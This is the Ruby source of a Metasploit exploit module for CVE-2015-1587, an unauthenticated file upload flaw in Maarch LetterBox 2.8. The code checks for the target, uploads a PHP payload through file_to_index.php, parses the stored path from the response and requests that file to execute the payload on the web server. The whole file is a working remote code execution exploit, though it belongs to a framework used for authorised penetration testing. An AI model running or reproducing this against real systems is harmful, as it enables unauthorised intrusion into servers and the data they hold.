98 lines
3.2 KiB
Ruby
98 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://www.metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'uri'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'Maarch LetterBox Unrestricted File Upload',
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'Description' => %q{
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This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of
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session and file validation in the file_to_index.php script. It allows unauthenticated
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users to upload files of any type and subsequently execute PHP scripts in the context of
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the web server.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Rob Carr <rob[at]rastating.com>'
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],
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'References' =>
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[
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['CVE', '2015-1587']
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],
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'DisclosureDate' => 'Feb 11 2015',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Maarch LetterBox 2.8', {}]],
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/'])
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], self.class)
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end
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def letterbox_login_url
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normalize_uri(target_uri.path, 'login.php')
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end
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def letterbox_upload_url
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normalize_uri(target_uri.path, 'file_to_index.php')
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end
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def check
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res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)
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if res.nil? || res.code != 200
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return Msf::Exploit::CheckCode::Unknown
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elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"')
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return Msf::Exploit::CheckCode::Appears
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end
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Msf::Exploit::CheckCode::Safe
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end
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def generate_mime_message(payload, name)
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data = Rex::MIME::Message.new
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data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"")
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data
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end
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def exploit
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print_status("Preparing payload...")
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payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
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data = generate_mime_message(payload, payload_name)
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print_status("Uploading payload...")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => letterbox_upload_url,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data.to_s
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)
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fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
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fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
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print_status("Parsing server response...")
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captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures
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fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil?
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payload_url = normalize_uri(target_uri.path, captures[0])
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print_good("Response parsed successfully")
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print_status("Executing the payload at #{payload_url}")
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register_files_for_cleanup(File.basename(URI.parse(payload_url).path))
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send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
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end
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end
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